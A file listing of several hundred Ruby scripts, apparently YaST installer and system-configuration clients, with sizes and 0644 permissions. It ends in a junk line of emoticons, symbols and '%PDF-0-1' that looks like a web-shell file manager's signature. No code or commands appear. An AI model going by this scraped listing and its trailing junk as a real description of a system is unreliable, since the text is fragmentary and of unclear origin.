OneClickInstallUrlHandler.rb File 637 B 0644
OneClickInstallWorker.rb File 5.53 KB 0644
add-on.rb File 4.81 KB 0644
add-on_auto.rb File 10.01 KB 0644
add-on_proposal.rb File 2.42 KB 0644
add_inst_source_slptype.rb File 918 B 0644
audit-laf.rb File 11.39 KB 0644
audit-laf_auto.rb File 3.95 KB 0644
audit-laf_proposal.rb File 3.41 KB 0644
auth-client.rb File 1.07 KB 0644
auth-client_auto.rb File 1013 B 0644
auth-server.rb File 7.89 KB 0644
auth-server_auto.rb File 3.02 KB 0644
auth-server_proposal.rb File 12.25 KB 0644
auth.rb File 1.15 KB 0644
autoinst_scripts1_finish.rb File 1.55 KB 0644
autoinst_scripts2_finish.rb File 2.17 KB 0644
autoinst_test_clone.rb File 1017 B 0644
autoinst_test_stage.rb File 1.53 KB 0644
autoyast.rb File 4.09 KB 0644
ayast_probe.rb File 3.29 KB 0644
ayast_setup.rb File 4.76 KB 0644
backup_proposal.rb File 3.61 KB 0644
bootloader.rb File 1.13 KB 0644
bootloader_auto.rb File 63 B 0644
bootloader_finish.rb File 65 B 0644
bootloader_proposal.rb File 71 B 0644
ca-mgm.rb File 1.16 KB 0644
ca_mgm.rb File 7.43 KB 0644
ca_mgm_auto.rb File 37.21 KB 0644
ca_mgm_proposal.rb File 16.46 KB 0644
ca_select_proposal.rb File 18.54 KB 0644
cd_update.rb File 1.13 KB 0644
checkmedia.rb File 1.13 KB 0644
cio_ignore_finish.rb File 92 B 0644
cio_ignore_proposal.rb File 94 B 0644
classes_auto.rb File 2.07 KB 0644
clone_system.rb File 4.33 KB 0644
common-cert.rb File 1.18 KB 0644
common_cert.rb File 6.85 KB 0644
complete_workflow.rb File 1.38 KB 0644
copy_files_finish.rb File 86 B 0644
copy_logs_finish.rb File 76 B 0644
copy_systemfiles_finish.rb File 98 B 0644
country_simple_proposal.rb File 3.29 KB 0644
default_target_finish.rb File 1.16 KB 0644
default_target_proposal.rb File 8.72 KB 0644
deploy_image_auto.rb File 86 B 0644
deploying_proposal.rb File 89 B 0644
desktop_finish.rb File 81 B 0644
dhcp-server.rb File 1.14 KB 0644
dhcp-server_auto.rb File 4.68 KB 0644
discover_registration_services.rb File 1.03 KB 0644
disintegrate_all_extensions.rb File 106 B 0644
disk.rb File 2.91 KB 0644
disk_worker.rb File 4.06 KB 0644
dns-server.rb File 1.1 KB 0644
dns-server_auto.rb File 2.89 KB 0644
dns.rb File 8.35 KB 0644
dns_auto.rb File 3.37 KB 0644
do_not_show_again_editor.rb File 3.49 KB 0644
do_online_update_auto.rb File 3.27 KB 0644
driver_update1_finish.rb File 94 B 0644
driver_update2_finish.rb File 94 B 0644
files_auto.rb File 10.82 KB 0644
firewall.rb File 3.15 KB 0644
firewall_auto.rb File 4.15 KB 0644
firewall_proposal.rb File 9.86 KB 0644
firewall_stage1_finish.rb File 5.71 KB 0644
firewall_stage1_proposal.rb File 16.24 KB 0644
ftp-server.rb File 40.97 KB 0644
ftp-server_auto.rb File 3.56 KB 0644
general_auto.rb File 1.83 KB 0644
groups.rb File 9.29 KB 0644
host.rb File 3.32 KB 0644
host_auto.rb File 4.33 KB 0644
http-server.rb File 18.42 KB 0644
http-server_auto.rb File 3.1 KB 0644
inetd.rb File 13.52 KB 0644
inetd_auto.rb File 4.63 KB 0644
inetd_proposal.rb File 3.07 KB 0644
inst_add-on.rb File 5 KB 0644
inst_add-on_software.rb File 3.3 KB 0644
inst_addon_update_sources.rb File 101 B 0644
inst_ask_online_update.rb File 95 B 0644
inst_autoconfigure.rb File 19.7 KB 0644
inst_autoimage.rb File 1.85 KB 0644
inst_autoinit.rb File 6.47 KB 0644
inst_autopost.rb File 8.47 KB 0644
inst_autosetup.rb File 17.36 KB 0644
inst_autosetup_upgrade.rb File 17.05 KB 0644
inst_backup.rb File 7.77 KB 0644
inst_bootloader.rb File 1.18 KB 0644
inst_check_autoinst_mode.rb File 99 B 0644
inst_check_memsize.rb File 658 B 0644
inst_checkmedia.rb File 3.31 KB 0644
inst_complex_welcome.rb File 92 B 0644
inst_congratulate.rb File 87 B 0644
inst_custom_packages.rb File 2.91 KB 0644
inst_custom_part.rb File 1.17 KB 0644
inst_custom_patterns.rb File 94 B 0644
inst_deploy_image.rb File 86 B 0644
inst_desktop_roles.rb File 98 B 0644
inst_disk.rb File 2.55 KB 0644
inst_disk_for_image.rb File 89 B 0644
inst_disk_proposal.rb File 12.58 KB 0644
inst_disks_activate.rb File 90 B 0644
inst_do_net_test.rb File 28.83 KB 0644
inst_doit.rb File 71 B 0644
inst_download_release_notes.rb File 105 B 0644
inst_extrasources.rb File 87 B 0644
inst_features.rb File 79 B 0644
inst_finish.rb File 75 B 0644
inst_info.rb File 71 B 0644
inst_initialization.rb File 91 B 0644
inst_install_inf.rb File 85 B 0644
inst_installation_options.rb File 87 B 0644
inst_instsys_cleanup.rb File 99 B 0644
inst_iscsi-client.rb File 3.46 KB 0644
inst_keyboard_root_password.rb File 108 B 0644
inst_kickoff.rb File 19.83 KB 0644
inst_lan.rb File 2.24 KB 0644
inst_language.rb File 1.36 KB 0644
inst_language_add-on.rb File 12.54 KB 0644
inst_license.rb File 77 B 0644
inst_mediacopy.rb File 4.17 KB 0644
inst_network_check.rb File 88 B 0644
inst_pre_install.rb File 84 B 0644
inst_prepare_image.rb File 88 B 0644
inst_prepareprogress.rb File 93 B 0644
inst_prepdisk.rb File 5.8 KB 0644
inst_productsources.rb File 50.93 KB 0644
inst_proposal.rb File 1008 B 0644
inst_release_notes.rb File 88 B 0644
inst_resize_dialog.rb File 17.82 KB 0644
inst_resize_ui.rb File 30.46 KB 0644
inst_restore_settings.rb File 94 B 0644
inst_root_first.rb File 1007 B 0644
inst_rootpart.rb File 1.57 KB 0644
inst_rpmcopy.rb File 18.49 KB 0644
inst_rpmcopy_secondstage.rb File 100 B 0644
inst_save_hardware_status.rb File 101 B 0644
inst_scc.rb File 10.61 KB 0644
inst_scenarios.rb File 81 B 0644
inst_setup_dhcp.rb File 73 B 0644
inst_ssh_import.rb File 843 B 0644
inst_store_upgrade_software.rb File 3.98 KB 0644
inst_sw_select.rb File 1.77 KB 0644
inst_system_analysis.rb File 92 B 0644
inst_system_role.rb File 81 B 0644
inst_target_part.rb File 17.41 KB 0644
inst_target_selection.rb File 11.7 KB 0644
inst_test_workflow.rb File 949 B 0644
inst_timezone.rb File 2.36 KB 0644
inst_update.rb File 8.52 KB 0644
inst_update_installer.rb File 732 B 0644
inst_update_partition.rb File 1.86 KB 0644
inst_update_partition_auto.rb File 1.27 KB 0644
inst_upgrade_urls.rb File 86 B 0644
inst_user_first.rb File 1007 B 0644
inst_welcome.rb File 77 B 0644
inst_worker_continue.rb File 92 B 0644
inst_worker_initial.rb File 90 B 0644
inst_you.rb File 11.74 KB 0644
installation.rb File 78 B 0644
installation_settings_finish.rb File 108 B 0644
instserver.rb File 1.44 KB 0644
iscsi-client.rb File 3.1 KB 0644
iscsi-client_auto.rb File 4.1 KB 0644
iscsi-client_finish.rb File 3.46 KB 0644
iscsi-client_proposal.rb File 3.51 KB 0644
isns.rb File 2.13 KB 0644
isns_auto.rb File 2.96 KB 0644
isns_finish.rb File 1.9 KB 0644
isns_proposal.rb File 2.59 KB 0644
kdump.rb File 41.7 KB 0644
kdump_auto.rb File 2.66 KB 0644
kdump_finish.rb File 62 B 0644
kdump_proposal.rb File 3.11 KB 0644
kernel_finish.rb File 79 B 0644
key_manager.rb File 2.29 KB 0644
keyboard.rb File 5.48 KB 0644
keyboard_auto.rb File 3.16 KB 0644
keyboard_proposal.rb File 3 KB 0644
keyboard_simple_proposal.rb File 1.41 KB 0644
lan.rb File 6.23 KB 0644
lan_auto.rb File 12.98 KB 0644
language.rb File 9.12 KB 0644
language_auto.rb File 3.11 KB 0644
language_proposal.rb File 4.14 KB 0644
language_simple_proposal.rb File 1.6 KB 0644
ldap_browser.rb File 23.65 KB 0644
ldap_config.rb File 1.93 KB 0644
ldapkrb.rb File 1.1 KB 0644
ldconfig_finish.rb File 83 B 0644
mail.rb File 2.87 KB 0644
mail_auto.rb File 3.12 KB 0644
media_proposal.rb File 2.51 KB 0644
menu.rb File 12.75 KB 0644
migration.rb File 65 B 0644
migration_finish.rb File 732 B 0644
migration_proposal.rb File 715 B 0644
migration_proposals.rb File 1.19 KB 0644
migration_repos.rb File 730 B 0644
multipath-simple.rb File 1.21 KB 0644
network.rb File 4.3 KB 0644
network_finish.rb File 81 B 0644
network_proposal.rb File 69 B 0644
nfs-client.rb File 231 B 0644
nfs-client4part.rb File 2.63 KB 0644
nfs-server.rb File 277 B 0644
nfs.rb File 10.04 KB 0644
nfs_auto.rb File 2.54 KB 0644
nfs_server.rb File 9.59 KB 0644
nfs_server_auto.rb File 2.67 KB 0644
nis-client.rb File 1.16 KB 0644
nis-server.rb File 1.16 KB 0644
nis.rb File 7.99 KB 0644
nis_auto.rb File 3.05 KB 0644
nis_server.rb File 12.72 KB 0644
nis_server_auto.rb File 3.82 KB 0644
ntp-client.rb File 1.24 KB 0644
ntp-client_auto.rb File 3.92 KB 0644
ntp-client_finish.rb File 2.43 KB 0644
ntp-client_proposal.rb File 14.53 KB 0644
online_update.rb File 12.58 KB 0644
online_update_install.rb File 4.93 KB 0644
online_update_select.rb File 12.06 KB 0644
openldap-mirrormode.rb File 1.57 KB 0644
other_tools_warning.rb File 1.85 KB 0644
packages_proposal.rb File 7.64 KB 0644
partitions_proposal.rb File 8.99 KB 0644
pkg_finish.rb File 216 B 0644
pre_umount_finish.rb File 86 B 0644
prep_shrink_finish.rb File 94 B 0644
printer.rb File 3.03 KB 0644
printer_auto.rb File 17.76 KB 0644
printer_proposal.rb File 21.77 KB 0644
proxy.rb File 66 B 0644
proxy_auto.rb File 75 B 0644
proxy_finish.rb File 77 B 0644
registration.rb File 3.04 KB 0644
registration_sync.rb File 734 B 0644
relocation-server.rb File 3.45 KB 0644
remote.rb File 4.51 KB 0644
remote_finish.rb File 900 B 0644
remote_proposal.rb File 3.01 KB 0644
report_auto.rb File 7.94 KB 0644
repositories.rb File 308 B 0644
roles_finish.rb File 86 B 0644
rootpart_check_keyboard.rb File 1.63 KB 0644
rootpart_proposal.rb File 4.83 KB 0644
routing.rb File 12.82 KB 0644
routing_auto.rb File 3.39 KB 0644
samba-client.rb File 9.59 KB 0644
samba-client_auto.rb File 4.02 KB 0644
save_config_finish.rb File 88 B 0644
save_hw_status_finish.rb File 93 B 0644
save_network.rb File 9.33 KB 0644
scc.rb File 3.04 KB 0644
scc_auto.rb File 10.93 KB 0644
scc_finish.rb File 92 B 0644
scripts_auto.rb File 1.87 KB 0644
security.rb File 8.23 KB 0644
security_auto.rb File 4.25 KB 0644
security_summary.rb File 1.76 KB 0644
select_language.rb File 22.52 KB 0644
select_slp_source.rb File 432 B 0644
services-manager.rb File 7.25 KB 0644
services-manager_auto.rb File 1.13 KB 0644
services-manager_finish.rb File 117 B 0644
services.rb File 7.25 KB 0644
services_finish.rb File 92 B 0644
services_proposal.rb File 10.74 KB 0644
snapper.rb File 1.86 KB 0644
snapshots_finish.rb File 77 B 0644
software_auto.rb File 8.08 KB 0644
software_proposal.rb File 82 B 0644
software_simple_proposal.rb File 2.06 KB 0644
squid.rb File 3.86 KB 0644
squid_auto.rb File 3.89 KB 0644
ssh_import_auto.rb File 88 B 0644
ssh_import_proposal.rb File 85 B 0644
ssh_settings_finish.rb File 90 B 0644
storage.rb File 949 B 0644
storage_auto.rb File 2.49 KB 0644
storage_finish.rb File 3.04 KB 0644
stroj-casu.rb File 73 B 0644
sudo.rb File 2.6 KB 0644
support.rb File 3.12 KB 0644
support_auto.rb File 3.94 KB 0644
support_proposal.rb File 3.43 KB 0644
sw_single.rb File 26.4 KB 0644
switch_scr_finish.rb File 86 B 0644
sysconfig.rb File 4.36 KB 0644
sysconfig_auto.rb File 2.19 KB 0644
test_inst_client.rb File 84 B 0644
test_proposal.rb File 79 B 0644
tftp-server.rb File 4.33 KB 0644
tftp-server_auto.rb File 2.82 KB 0644
timezone.rb File 6.64 KB 0644
timezone_auto.rb File 2.82 KB 0644
timezone_proposal.rb File 2.67 KB 0644
umount_finish.rb File 79 B 0644
update_proposal.rb File 18.74 KB 0644
update_wizard_steps.rb File 90 B 0644
users.rb File 10.97 KB 0644
users_auto.rb File 5.54 KB 0644
users_encryption_method.rb File 1012 B 0644
users_encryption_proposal.rb File 819 B 0644
users_finish.rb File 1.2 KB 0644
users_plugin_ldap_all.rb File 11.17 KB 0644
users_plugin_ldap_passwordpolicy.rb File 7.03 KB 0644
users_plugin_ldap_shadowaccount.rb File 10.53 KB 0644
users_plugin_quota.rb File 18.49 KB 0644
users_proposal.rb File 1.08 KB 0644
vendor.rb File 10.32 KB 0644
view_anymsg.rb File 8.08 KB 0644
virtualization.rb File 3.02 KB 0644
vm_finish.rb File 4.69 KB 0644
vpn.rb File 1008 B 0644
vpn_auto.rb File 950 B 0644
wol.rb File 6.59 KB 0644
wrapper_slideshow_callbacks.rb File 1.27 KB 0644
wrapper_storage.rb File 1.96 KB 0644
x11_finish.rb File 73 B 0644
xinetd.rb File 1.15 KB 0644
yast_inf_finish.rb File 82 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1